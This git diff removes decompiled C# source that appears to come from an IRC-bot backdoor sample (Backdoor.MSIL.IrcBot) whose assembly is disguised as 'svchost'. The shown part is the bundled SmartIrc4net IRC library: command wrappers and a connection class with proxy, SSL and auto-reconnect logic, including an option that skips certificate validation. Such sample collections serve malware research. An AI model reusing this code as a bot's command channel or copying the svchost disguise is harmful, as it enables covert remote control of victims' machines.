- public void RfcPrivmsg(string destination, string message, Priority priority) => this.WriteLine(Rfc2812.Privmsg(destination, message), priority);
-
- public void RfcPrivmsg(string destination, string message) => this.WriteLine(Rfc2812.Privmsg(destination, message));
-
- public void RfcNotice(string destination, string message, Priority priority) => this.WriteLine(Rfc2812.Notice(destination, message), priority);
-
- public void RfcNotice(string destination, string message) => this.WriteLine(Rfc2812.Notice(destination, message));
-
- public void RfcJoin(string channel, Priority priority) => this.WriteLine(Rfc2812.Join(channel), priority);
-
- public void RfcJoin(string channel) => this.WriteLine(Rfc2812.Join(channel));
-
- public void RfcJoin(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Join(channels), priority);
-
- public void RfcJoin(string[] channels) => this.WriteLine(Rfc2812.Join(channels));
-
- public void RfcJoin(string channel, string key, Priority priority) => this.WriteLine(Rfc2812.Join(channel, key), priority);
-
- public void RfcJoin(string channel, string key) => this.WriteLine(Rfc2812.Join(channel, key));
-
- public void RfcJoin(string[] channels, string[] keys, Priority priority) => this.WriteLine(Rfc2812.Join(channels, keys), priority);
-
- public void RfcJoin(string[] channels, string[] keys) => this.WriteLine(Rfc2812.Join(channels, keys));
-
- public void RfcPart(string channel, Priority priority) => this.WriteLine(Rfc2812.Part(channel), priority);
-
- public void RfcPart(string channel) => this.WriteLine(Rfc2812.Part(channel));
-
- public void RfcPart(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Part(channels), priority);
-
- public void RfcPart(string[] channels) => this.WriteLine(Rfc2812.Part(channels));
-
- public void RfcPart(string channel, string partmessage, Priority priority) => this.WriteLine(Rfc2812.Part(channel, partmessage), priority);
-
- public void RfcPart(string channel, string partmessage) => this.WriteLine(Rfc2812.Part(channel, partmessage));
-
- public void RfcPart(string[] channels, string partmessage, Priority priority) => this.WriteLine(Rfc2812.Part(channels, partmessage), priority);
-
- public void RfcPart(string[] channels, string partmessage) => this.WriteLine(Rfc2812.Part(channels, partmessage));
-
- public void RfcKick(string channel, string nickname, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nickname), priority);
-
- public void RfcKick(string channel, string nickname) => this.WriteLine(Rfc2812.Kick(channel, nickname));
-
- public void RfcKick(string[] channels, string nickname, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nickname), priority);
-
- public void RfcKick(string[] channels, string nickname) => this.WriteLine(Rfc2812.Kick(channels, nickname));
-
- public void RfcKick(string channel, string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nicknames), priority);
-
- public void RfcKick(string channel, string[] nicknames) => this.WriteLine(Rfc2812.Kick(channel, nicknames));
-
- public void RfcKick(string[] channels, string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nicknames), priority);
-
- public void RfcKick(string[] channels, string[] nicknames) => this.WriteLine(Rfc2812.Kick(channels, nicknames));
-
- public void RfcKick(string channel, string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nickname, comment), priority);
-
- public void RfcKick(string channel, string nickname, string comment) => this.WriteLine(Rfc2812.Kick(channel, nickname, comment));
-
- public void RfcKick(string[] channels, string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nickname, comment), priority);
-
- public void RfcKick(string[] channels, string nickname, string comment) => this.WriteLine(Rfc2812.Kick(channels, nickname, comment));
-
- public void RfcKick(string channel, string[] nicknames, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channel, nicknames, comment), priority);
-
- public void RfcKick(string channel, string[] nicknames, string comment) => this.WriteLine(Rfc2812.Kick(channel, nicknames, comment));
-
- public void RfcKick(string[] channels, string[] nicknames, string comment, Priority priority) => this.WriteLine(Rfc2812.Kick(channels, nicknames, comment), priority);
-
- public void RfcKick(string[] channels, string[] nicknames, string comment) => this.WriteLine(Rfc2812.Kick(channels, nicknames, comment));
-
- public void RfcMotd(Priority priority) => this.WriteLine(Rfc2812.Motd(), priority);
-
- public void RfcMotd() => this.WriteLine(Rfc2812.Motd());
-
- public void RfcMotd(string target, Priority priority) => this.WriteLine(Rfc2812.Motd(target), priority);
-
- public void RfcMotd(string target) => this.WriteLine(Rfc2812.Motd(target));
-
- [Obsolete("use RfcLusers(Priority) instead")]
- public void RfcLuser(Priority priority) => this.RfcLusers(priority);
-
- public void RfcLusers(Priority priority) => this.WriteLine(Rfc2812.Lusers(), priority);
-
- [Obsolete("use RfcLusers() instead")]
- public void RfcLuser() => this.RfcLusers();
-
- public void RfcLusers() => this.WriteLine(Rfc2812.Lusers());
-
- [Obsolete("use RfcLusers(string, Priority) instead")]
- public void RfcLuser(string mask, Priority priority) => this.RfcLusers(mask, priority);
-
- public void RfcLusers(string mask, Priority priority) => this.WriteLine(Rfc2812.Lusers(mask), priority);
-
- [Obsolete("use RfcLusers(string) instead")]
- public void RfcLuser(string mask) => this.RfcLusers(mask);
-
- public void RfcLusers(string mask) => this.WriteLine(Rfc2812.Lusers(mask));
-
- [Obsolete("use RfcLusers(string, string, Priority) instead")]
- public void RfcLuser(string mask, string target, Priority priority) => this.RfcLusers(mask, target, priority);
-
- public void RfcLusers(string mask, string target, Priority priority) => this.WriteLine(Rfc2812.Lusers(mask, target), priority);
-
- [Obsolete("use RfcLusers(string, string) instead")]
- public void RfcLuser(string mask, string target) => this.RfcLusers(mask, target);
-
- public void RfcLusers(string mask, string target) => this.WriteLine(Rfc2812.Lusers(mask, target));
-
- public void RfcVersion(Priority priority) => this.WriteLine(Rfc2812.Version(), priority);
-
- public void RfcVersion() => this.WriteLine(Rfc2812.Version());
-
- public void RfcVersion(string target, Priority priority) => this.WriteLine(Rfc2812.Version(target), priority);
-
- public void RfcVersion(string target) => this.WriteLine(Rfc2812.Version(target));
-
- public void RfcStats(Priority priority) => this.WriteLine(Rfc2812.Stats(), priority);
-
- public void RfcStats() => this.WriteLine(Rfc2812.Stats());
-
- public void RfcStats(string query, Priority priority) => this.WriteLine(Rfc2812.Stats(query), priority);
-
- public void RfcStats(string query) => this.WriteLine(Rfc2812.Stats(query));
-
- public void RfcStats(string query, string target, Priority priority) => this.WriteLine(Rfc2812.Stats(query, target), priority);
-
- public void RfcStats(string query, string target) => this.WriteLine(Rfc2812.Stats(query, target));
-
- public void RfcLinks() => this.WriteLine(Rfc2812.Links());
-
- public void RfcLinks(string servermask, Priority priority) => this.WriteLine(Rfc2812.Links(servermask), priority);
-
- public void RfcLinks(string servermask) => this.WriteLine(Rfc2812.Links(servermask));
-
- public void RfcLinks(string remoteserver, string servermask, Priority priority) => this.WriteLine(Rfc2812.Links(remoteserver, servermask), priority);
-
- public void RfcLinks(string remoteserver, string servermask) => this.WriteLine(Rfc2812.Links(remoteserver, servermask));
-
- public void RfcTime(Priority priority) => this.WriteLine(Rfc2812.Time(), priority);
-
- public void RfcTime() => this.WriteLine(Rfc2812.Time());
-
- public void RfcTime(string target, Priority priority) => this.WriteLine(Rfc2812.Time(target), priority);
-
- public void RfcTime(string target) => this.WriteLine(Rfc2812.Time(target));
-
- public void RfcConnect(string targetserver, string port, Priority priority) => this.WriteLine(Rfc2812.Connect(targetserver, port), priority);
-
- public void RfcConnect(string targetserver, string port) => this.WriteLine(Rfc2812.Connect(targetserver, port));
-
- public void RfcConnect(
- string targetserver,
- string port,
- string remoteserver,
- Priority priority)
- {
- this.WriteLine(Rfc2812.Connect(targetserver, port, remoteserver), priority);
- }
-
- public void RfcConnect(string targetserver, string port, string remoteserver) => this.WriteLine(Rfc2812.Connect(targetserver, port, remoteserver));
-
- public void RfcTrace(Priority priority) => this.WriteLine(Rfc2812.Trace(), priority);
-
- public void RfcTrace() => this.WriteLine(Rfc2812.Trace());
-
- public void RfcTrace(string target, Priority priority) => this.WriteLine(Rfc2812.Trace(target), priority);
-
- public void RfcTrace(string target) => this.WriteLine(Rfc2812.Trace(target));
-
- public void RfcAdmin(Priority priority) => this.WriteLine(Rfc2812.Admin(), priority);
-
- public void RfcAdmin() => this.WriteLine(Rfc2812.Admin());
-
- public void RfcAdmin(string target, Priority priority) => this.WriteLine(Rfc2812.Admin(target), priority);
-
- public void RfcAdmin(string target) => this.WriteLine(Rfc2812.Admin(target));
-
- public void RfcInfo(Priority priority) => this.WriteLine(Rfc2812.Info(), priority);
-
- public void RfcInfo() => this.WriteLine(Rfc2812.Info());
-
- public void RfcInfo(string target, Priority priority) => this.WriteLine(Rfc2812.Info(target), priority);
-
- public void RfcInfo(string target) => this.WriteLine(Rfc2812.Info(target));
-
- public void RfcServlist(Priority priority) => this.WriteLine(Rfc2812.Servlist(), priority);
-
- public void RfcServlist() => this.WriteLine(Rfc2812.Servlist());
-
- public void RfcServlist(string mask, Priority priority) => this.WriteLine(Rfc2812.Servlist(mask), priority);
-
- public void RfcServlist(string mask) => this.WriteLine(Rfc2812.Servlist(mask));
-
- public void RfcServlist(string mask, string type, Priority priority) => this.WriteLine(Rfc2812.Servlist(mask, type), priority);
-
- public void RfcServlist(string mask, string type) => this.WriteLine(Rfc2812.Servlist(mask, type));
-
- public void RfcSquery(string servicename, string servicetext, Priority priority) => this.WriteLine(Rfc2812.Squery(servicename, servicetext), priority);
-
- public void RfcSquery(string servicename, string servicetext) => this.WriteLine(Rfc2812.Squery(servicename, servicetext));
-
- public void RfcList(string channel, Priority priority) => this.WriteLine(Rfc2812.List(channel), priority);
-
- public void RfcList(string channel) => this.WriteLine(Rfc2812.List(channel));
-
- public void RfcList(string[] channels, Priority priority) => this.WriteLine(Rfc2812.List(channels), priority);
-
- public void RfcList(string[] channels) => this.WriteLine(Rfc2812.List(channels));
-
- public void RfcList(string channel, string target, Priority priority) => this.WriteLine(Rfc2812.List(channel, target), priority);
-
- public void RfcList(string channel, string target) => this.WriteLine(Rfc2812.List(channel, target));
-
- public void RfcList(string[] channels, string target, Priority priority) => this.WriteLine(Rfc2812.List(channels, target), priority);
-
- public void RfcList(string[] channels, string target) => this.WriteLine(Rfc2812.List(channels, target));
-
- public void RfcNames(string channel, Priority priority) => this.WriteLine(Rfc2812.Names(channel), priority);
-
- public void RfcNames(string channel) => this.WriteLine(Rfc2812.Names(channel));
-
- public void RfcNames(string[] channels, Priority priority) => this.WriteLine(Rfc2812.Names(channels), priority);
-
- public void RfcNames(string[] channels) => this.WriteLine(Rfc2812.Names(channels));
-
- public void RfcNames(string channel, string target, Priority priority) => this.WriteLine(Rfc2812.Names(channel, target), priority);
-
- public void RfcNames(string channel, string target) => this.WriteLine(Rfc2812.Names(channel, target));
-
- public void RfcNames(string[] channels, string target, Priority priority) => this.WriteLine(Rfc2812.Names(channels, target), priority);
-
- public void RfcNames(string[] channels, string target) => this.WriteLine(Rfc2812.Names(channels, target));
-
- public void RfcTopic(string channel, Priority priority) => this.WriteLine(Rfc2812.Topic(channel), priority);
-
- public void RfcTopic(string channel) => this.WriteLine(Rfc2812.Topic(channel));
-
- public void RfcTopic(string channel, string newtopic, Priority priority) => this.WriteLine(Rfc2812.Topic(channel, newtopic), priority);
-
- public void RfcTopic(string channel, string newtopic) => this.WriteLine(Rfc2812.Topic(channel, newtopic));
-
- public void RfcMode(string target, Priority priority) => this.WriteLine(Rfc2812.Mode(target), priority);
-
- public void RfcMode(string target) => this.WriteLine(Rfc2812.Mode(target));
-
- public void RfcMode(string target, string newmode, Priority priority) => this.WriteLine(Rfc2812.Mode(target, newmode), priority);
-
- public void RfcMode(string target, string newmode) => this.WriteLine(Rfc2812.Mode(target, newmode));
-
- public void RfcService(string nickname, string distribution, string info, Priority priority) => this.WriteLine(Rfc2812.Service(nickname, distribution, info), priority);
-
- public void RfcService(string nickname, string distribution, string info) => this.WriteLine(Rfc2812.Service(nickname, distribution, info));
-
- public void RfcInvite(string nickname, string channel, Priority priority) => this.WriteLine(Rfc2812.Invite(nickname, channel), priority);
-
- public void RfcInvite(string nickname, string channel) => this.WriteLine(Rfc2812.Invite(nickname, channel));
-
- public void RfcNick(string newnickname, Priority priority) => this.WriteLine(Rfc2812.Nick(newnickname), priority);
-
- public void RfcNick(string newnickname) => this.WriteLine(Rfc2812.Nick(newnickname));
-
- public void RfcWho(Priority priority) => this.WriteLine(Rfc2812.Who(), priority);
-
- public void RfcWho() => this.WriteLine(Rfc2812.Who());
-
- public void RfcWho(string mask, Priority priority) => this.WriteLine(Rfc2812.Who(mask), priority);
-
- public void RfcWho(string mask) => this.WriteLine(Rfc2812.Who(mask));
-
- public void RfcWho(string mask, bool ircop, Priority priority) => this.WriteLine(Rfc2812.Who(mask, ircop), priority);
-
- public void RfcWho(string mask, bool ircop) => this.WriteLine(Rfc2812.Who(mask, ircop));
-
- public void RfcWhois(string mask, Priority priority) => this.WriteLine(Rfc2812.Whois(mask), priority);
-
- public void RfcWhois(string mask) => this.WriteLine(Rfc2812.Whois(mask));
-
- public void RfcWhois(string[] masks, Priority priority) => this.WriteLine(Rfc2812.Whois(masks), priority);
-
- public void RfcWhois(string[] masks) => this.WriteLine(Rfc2812.Whois(masks));
-
- public void RfcWhois(string target, string mask, Priority priority) => this.WriteLine(Rfc2812.Whois(target, mask), priority);
-
- public void RfcWhois(string target, string mask) => this.WriteLine(Rfc2812.Whois(target, mask));
-
- public void RfcWhois(string target, string[] masks, Priority priority) => this.WriteLine(Rfc2812.Whois(target, masks), priority);
-
- public void RfcWhois(string target, string[] masks) => this.WriteLine(Rfc2812.Whois(target, masks));
-
- public void RfcWhowas(string nickname, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname), priority);
-
- public void RfcWhowas(string nickname) => this.WriteLine(Rfc2812.Whowas(nickname));
-
- public void RfcWhowas(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames), priority);
-
- public void RfcWhowas(string[] nicknames) => this.WriteLine(Rfc2812.Whowas(nicknames));
-
- public void RfcWhowas(string nickname, string count, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname, count), priority);
-
- public void RfcWhowas(string nickname, string count) => this.WriteLine(Rfc2812.Whowas(nickname, count));
-
- public void RfcWhowas(string[] nicknames, string count, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames, count), priority);
-
- public void RfcWhowas(string[] nicknames, string count) => this.WriteLine(Rfc2812.Whowas(nicknames, count));
-
- public void RfcWhowas(string nickname, string count, string target, Priority priority) => this.WriteLine(Rfc2812.Whowas(nickname, count, target), priority);
-
- public void RfcWhowas(string nickname, string count, string target) => this.WriteLine(Rfc2812.Whowas(nickname, count, target));
-
- public void RfcWhowas(string[] nicknames, string count, string target, Priority priority) => this.WriteLine(Rfc2812.Whowas(nicknames, count, target), priority);
-
- public void RfcWhowas(string[] nicknames, string count, string target) => this.WriteLine(Rfc2812.Whowas(nicknames, count, target));
-
- public void RfcKill(string nickname, string comment, Priority priority) => this.WriteLine(Rfc2812.Kill(nickname, comment), priority);
-
- public void RfcKill(string nickname, string comment) => this.WriteLine(Rfc2812.Kill(nickname, comment));
-
- public void RfcPing(string server, Priority priority) => this.WriteLine(Rfc2812.Ping(server), priority);
-
- public void RfcPing(string server) => this.WriteLine(Rfc2812.Ping(server));
-
- public void RfcPing(string server, string server2, Priority priority) => this.WriteLine(Rfc2812.Ping(server, server2), priority);
-
- public void RfcPing(string server, string server2) => this.WriteLine(Rfc2812.Ping(server, server2));
-
- public void RfcPong(string server, Priority priority) => this.WriteLine(Rfc2812.Pong(server), priority);
-
- public void RfcPong(string server) => this.WriteLine(Rfc2812.Pong(server));
-
- public void RfcPong(string server, string server2, Priority priority) => this.WriteLine(Rfc2812.Pong(server, server2), priority);
-
- public void RfcPong(string server, string server2) => this.WriteLine(Rfc2812.Pong(server, server2));
-
- public void RfcAway(Priority priority) => this.WriteLine(Rfc2812.Away(), priority);
-
- public void RfcAway() => this.WriteLine(Rfc2812.Away());
-
- public void RfcAway(string awaytext, Priority priority) => this.WriteLine(Rfc2812.Away(awaytext), priority);
-
- public void RfcAway(string awaytext) => this.WriteLine(Rfc2812.Away(awaytext));
-
- public void RfcRehash() => this.WriteLine(Rfc2812.Rehash());
-
- public void RfcDie() => this.WriteLine(Rfc2812.Die());
-
- public void RfcRestart() => this.WriteLine(Rfc2812.Restart());
-
- public void RfcSummon(string user, Priority priority) => this.WriteLine(Rfc2812.Summon(user), priority);
-
- public void RfcSummon(string user) => this.WriteLine(Rfc2812.Summon(user));
-
- public void RfcSummon(string user, string target, Priority priority) => this.WriteLine(Rfc2812.Summon(user, target), priority);
-
- public void RfcSummon(string user, string target) => this.WriteLine(Rfc2812.Summon(user, target));
-
- public void RfcSummon(string user, string target, string channel, Priority priority) => this.WriteLine(Rfc2812.Summon(user, target, channel), priority);
-
- public void RfcSummon(string user, string target, string channel) => this.WriteLine(Rfc2812.Summon(user, target, channel));
-
- public void RfcUsers(Priority priority) => this.WriteLine(Rfc2812.Users(), priority);
-
- public void RfcUsers() => this.WriteLine(Rfc2812.Users());
-
- public void RfcUsers(string target, Priority priority) => this.WriteLine(Rfc2812.Users(target), priority);
-
- public void RfcUsers(string target) => this.WriteLine(Rfc2812.Users(target));
-
- public void RfcWallops(string wallopstext, Priority priority) => this.WriteLine(Rfc2812.Wallops(wallopstext), priority);
-
- public void RfcWallops(string wallopstext) => this.WriteLine(Rfc2812.Wallops(wallopstext));
-
- public void RfcUserhost(string nickname, Priority priority) => this.WriteLine(Rfc2812.Userhost(nickname), priority);
-
- public void RfcUserhost(string nickname) => this.WriteLine(Rfc2812.Userhost(nickname));
-
- public void RfcUserhost(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Userhost(nicknames), priority);
-
- public void RfcUserhost(string[] nicknames) => this.WriteLine(Rfc2812.Userhost(nicknames));
-
- public void RfcIson(string nickname, Priority priority) => this.WriteLine(Rfc2812.Ison(nickname), priority);
-
- public void RfcIson(string nickname) => this.WriteLine(Rfc2812.Ison(nickname));
-
- public void RfcIson(string[] nicknames, Priority priority) => this.WriteLine(Rfc2812.Ison(nicknames), priority);
-
- public void RfcIson(string[] nicknames) => this.WriteLine(Rfc2812.Ison(nicknames));
-
- public void RfcQuit(Priority priority) => this.WriteLine(Rfc2812.Quit(), priority);
-
- public void RfcQuit() => this.WriteLine(Rfc2812.Quit());
-
- public void RfcQuit(string quitmessage, Priority priority) => this.WriteLine(Rfc2812.Quit(quitmessage), priority);
-
- public void RfcQuit(string quitmessage) => this.WriteLine(Rfc2812.Quit(quitmessage));
-
- public void RfcSquit(string server, string comment, Priority priority) => this.WriteLine(Rfc2812.Squit(server, comment), priority);
-
- public void RfcSquit(string server, string comment) => this.WriteLine(Rfc2812.Squit(server, comment));
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConnection.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConnection.cs
deleted file mode 100644
index fa65a337..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcConnection.cs
+++ /dev/null
@@ -1,834 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.IrcConnection
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using Starksoft.Net.Proxy;
-using System;
-using System.Collections;
-using System.IO;
-using System.Net;
-using System.Net.Security;
-using System.Net.Sockets;
-using System.Reflection;
-using System.Security.Authentication;
-using System.Security.Cryptography.X509Certificates;
-using System.Text;
-using System.Threading;
-
-namespace Meebey.SmartIrc4net
-{
- public class IrcConnection
- {
- private string _VersionNumber;
- private string _VersionString;
- private string[] _AddressList = new string[1]
- {
- "localhost"
- };
- private int _CurrentAddress;
- private int _Port;
- private bool _UseSsl;
- private bool _ValidateServerCertificate;
- private X509Certificate _SslClientCertificate;
- private StreamReader _Reader;
- private StreamWriter _Writer;
- private IrcConnection.ReadThread _ReadThread;
- private IrcConnection.WriteThread _WriteThread;
- private IrcConnection.IdleWorkerThread _IdleWorkerThread;
- private TcpClient _TcpClient;
- private Hashtable _SendBuffer = Hashtable.Synchronized(new Hashtable());
- private int _SendDelay = 200;
- private bool _IsRegistered;
- private bool _IsConnected;
- private bool _IsConnectionError;
- private bool _IsDisconnecting;
- private int _AutoRetryAttempt;
- private bool _AutoRetry;
- private int _AutoRetryDelay = 30;
- private int _AutoRetryLimit = 3;
- private bool _AutoReconnect;
- private Encoding _Encoding = Encoding.Default;
- private int _SocketReceiveTimeout = 600;
- private int _SocketSendTimeout = 600;
- private int _IdleWorkerInterval = 60;
- private int _PingInterval = 60;
- private int _PingTimeout = 300;
- private DateTime _LastPingSent;
- private DateTime _LastPongReceived;
- private TimeSpan _Lag;
- private string _ProxyHost;
- private int _ProxyPort;
- private ProxyType _ProxyType;
- private string _ProxyUsername;
- private string _ProxyPassword;
-
- public event ReadLineEventHandler OnReadLine;
-
- public event WriteLineEventHandler OnWriteLine;
-
- public event EventHandler OnConnecting;
-
- public event EventHandler OnConnected;
-
- public event EventHandler OnDisconnecting;
-
- public event EventHandler OnDisconnected;
-
- public event EventHandler OnConnectionError;
-
- public event AutoConnectErrorEventHandler OnAutoConnectError;
-
- protected bool IsConnectionError
- {
- get
- {
- lock (this)
- return this._IsConnectionError;
- }
- set
- {
- lock (this)
- this._IsConnectionError = value;
- }
- }
-
- protected bool IsDisconnecting
- {
- get
- {
- lock (this)
- return this._IsDisconnecting;
- }
- set
- {
- lock (this)
- this._IsDisconnecting = value;
- }
- }
-
- public string Address => this._AddressList[this._CurrentAddress];
-
- public string[] AddressList => this._AddressList;
-
- public int Port => this._Port;
-
- public bool AutoReconnect
- {
- get => this._AutoReconnect;
- set => this._AutoReconnect = value;
- }
-
- public bool AutoRetry
- {
- get => this._AutoRetry;
- set => this._AutoRetry = value;
- }
-
- public int AutoRetryDelay
- {
- get => this._AutoRetryDelay;
- set => this._AutoRetryDelay = value;
- }
-
- public int AutoRetryLimit
- {
- get => this._AutoRetryLimit;
- set => this._AutoRetryLimit = value;
- }
-
- public int AutoRetryAttempt => this._AutoRetryAttempt;
-
- public int SendDelay
- {
- get => this._SendDelay;
- set => this._SendDelay = value;
- }
-
- public bool IsRegistered => this._IsRegistered;
-
- public bool IsConnected => this._IsConnected;
-
- public string VersionNumber => this._VersionNumber;
-
- public string VersionString => this._VersionString;
-
- public Encoding Encoding
- {
- get => this._Encoding;
- set => this._Encoding = value;
- }
-
- public bool UseSsl
- {
- get => this._UseSsl;
- set => this._UseSsl = value;
- }
-
- public bool ValidateServerCertificate
- {
- get => this._ValidateServerCertificate;
- set => this._ValidateServerCertificate = value;
- }
-
- public X509Certificate SslClientCertificate
- {
- get => this._SslClientCertificate;
- set => this._SslClientCertificate = value;
- }
-
- public int SocketReceiveTimeout
- {
- get => this._SocketReceiveTimeout;
- set => this._SocketReceiveTimeout = value;
- }
-
- public int SocketSendTimeout
- {
- get => this._SocketSendTimeout;
- set => this._SocketSendTimeout = value;
- }
-
- public int IdleWorkerInterval
- {
- get => this._IdleWorkerInterval;
- set => this._IdleWorkerInterval = value;
- }
-
- public int PingInterval
- {
- get => this._PingInterval;
- set => this._PingInterval = value;
- }
-
- public int PingTimeout
- {
- get => this._PingTimeout;
- set => this._PingTimeout = value;
- }
-
- public TimeSpan Lag => this._LastPingSent > this._LastPongReceived ? DateTime.Now - this._LastPingSent : this._Lag;
-
- public string ProxyHost
- {
- get => this._ProxyHost;
- set => this._ProxyHost = value;
- }
-
- public int ProxyPort
- {
- get => this._ProxyPort;
- set => this._ProxyPort = value;
- }
-
- public ProxyType ProxyType
- {
- get => this._ProxyType;
- set => this._ProxyType = value;
- }
-
- public string ProxyUsername
- {
- get => this._ProxyUsername;
- set => this._ProxyUsername = value;
- }
-
- public string ProxyPassword
- {
- get => this._ProxyPassword;
- set => this._ProxyPassword = value;
- }
-
- public IrcConnection()
- {
- this._SendBuffer[(object) Priority.High] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
- this._SendBuffer[(object) Priority.AboveMedium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
- this._SendBuffer[(object) Priority.Medium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
- this._SendBuffer[(object) Priority.BelowMedium] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
- this._SendBuffer[(object) Priority.Low] = (object) System.Collections.Queue.Synchronized(new System.Collections.Queue());
- this.OnReadLine += new ReadLineEventHandler(this._SimpleParser);
- this.OnConnectionError += new EventHandler(this._OnConnectionError);
- this._ReadThread = new IrcConnection.ReadThread(this);
- this._WriteThread = new IrcConnection.WriteThread(this);
- this._IdleWorkerThread = new IrcConnection.IdleWorkerThread(this);
- Assembly assembly = Assembly.GetAssembly(this.GetType());
- AssemblyName name = assembly.GetName(false);
- AssemblyProductAttribute customAttribute = (AssemblyProductAttribute) assembly.GetCustomAttributes(typeof (AssemblyProductAttribute), false)[0];
- this._VersionNumber = name.Version.ToString();
- this._VersionString = customAttribute.Product + " " + this._VersionNumber;
- }
-
- public void Connect(string[] addresslist, int port)
- {
- if (this._IsConnected)
- throw new AlreadyConnectedException("Already connected to: " + this.Address + ":" + (object) this.Port);
- ++this._AutoRetryAttempt;
- this._AddressList = (string[]) addresslist.Clone();
- this._Port = port;
- if (this.OnConnecting != null)
- this.OnConnecting((object) this, EventArgs.Empty);
- try
- {
- IPAddress address = Dns.Resolve(this.Address).AddressList[0];
- this._TcpClient = new TcpClient();
- this._TcpClient.NoDelay = true;
- this._TcpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, 1);
- this._TcpClient.ReceiveTimeout = this._SocketReceiveTimeout * 1000;
- this._TcpClient.SendTimeout = this._SocketSendTimeout * 1000;
- if (this._ProxyType != ProxyType.None)
- {
- ProxyClientFactory proxyClientFactory = new ProxyClientFactory();
- Starksoft.Net.Proxy.ProxyType type = (Starksoft.Net.Proxy.ProxyType) System.Enum.Parse(typeof (ProxyType), this._ProxyType.ToString(), true);
- IProxyClient proxyClient = this._ProxyUsername != null || this._ProxyPassword != null ? proxyClientFactory.CreateProxyClient(type, this._ProxyHost, this._ProxyPort, this._ProxyUsername, this._ProxyPassword) : proxyClientFactory.CreateProxyClient(type);
- this._TcpClient.Connect(this._ProxyHost, this._ProxyPort);
- proxyClient.TcpClient = this._TcpClient;
- proxyClient.CreateConnection(address.ToString(), port);
- }
- else
- this._TcpClient.Connect(address, port);
- Stream stream = (Stream) this._TcpClient.GetStream();
- if (this._UseSsl)
- {
- RemoteCertificateValidationCallback userCertificateValidationCallback = !this._ValidateServerCertificate ? (RemoteCertificateValidationCallback) delegate
- {
- return true;
- } : (RemoteCertificateValidationCallback) ((sender, certificate, chain, sslPolicyErrors) => sslPolicyErrors == SslPolicyErrors.None);
- SslStream sslStream = new SslStream(stream, false, userCertificateValidationCallback);
- try
- {
- if (this._SslClientCertificate != null)
- {
- X509Certificate2Collection clientCertificates = new X509Certificate2Collection();
- clientCertificates.Add(this._SslClientCertificate);
- sslStream.AuthenticateAsClient(this.Address, (X509CertificateCollection) clientCertificates, SslProtocols.Default, false);
- }
- else
- sslStream.AuthenticateAsClient(this.Address);
- }
- catch (IOException ex)
- {
- throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex.Message, (Exception) ex);
- }
- stream = (Stream) sslStream;
- }
- this._Reader = new StreamReader(stream, this._Encoding);
- this._Writer = new StreamWriter(stream, this._Encoding);
- if (this._Encoding.GetPreamble().Length > 0)
- {
- this._Writer.WriteLine();
- this._Writer.Flush();
- }
- this._AutoRetryAttempt = 0;
- this.IsConnectionError = false;
- this._IsConnected = true;
- this._ReadThread.Start();
- this._WriteThread.Start();
- this._IdleWorkerThread.Start();
- if (this.OnConnected == null)
- return;
- this.OnConnected((object) this, EventArgs.Empty);
- }
- catch (AuthenticationException ex)
- {
- throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex.Message, (Exception) ex);
- }
- catch (Exception ex1)
- {
- if (this._Reader != null)
- {
- try
- {
- this._Reader.Close();
- }
- catch (ObjectDisposedException ex2)
- {
- }
- }
- if (this._Writer != null)
- {
- try
- {
- this._Writer.Close();
- }
- catch (ObjectDisposedException ex3)
- {
- }
- }
- if (this._TcpClient != null)
- this._TcpClient.Close();
- this._IsConnected = false;
- this.IsConnectionError = true;
- if (ex1 is CouldNotConnectException)
- throw;
- else if (this._AutoRetry && (this._AutoRetryLimit == -1 || this._AutoRetryLimit == 0 || this._AutoRetryLimit <= this._AutoRetryAttempt))
- {
- if (this.OnAutoConnectError != null)
- this.OnAutoConnectError((object) this, new AutoConnectErrorEventArgs(this.Address, this.Port, ex1));
- Thread.Sleep(this._AutoRetryDelay * 1000);
- this._NextAddress();
- this.Connect(this._AddressList, this._Port);
- }
- else
- throw new CouldNotConnectException("Could not connect to: " + this.Address + ":" + (object) this.Port + " " + ex1.Message, ex1);
- }
- }
-
- public void Connect(string address, int port) => this.Connect(new string[1]
- {
- address
- }, port);
-
- public void Reconnect()
- {
- this.Disconnect();
- this.Connect(this._AddressList, this._Port);
- }
-
- public void Disconnect()
- {
- if (!this.IsConnected)
- throw new NotConnectedException("The connection could not be disconnected because there is no active connection");
- if (this.OnDisconnecting != null)
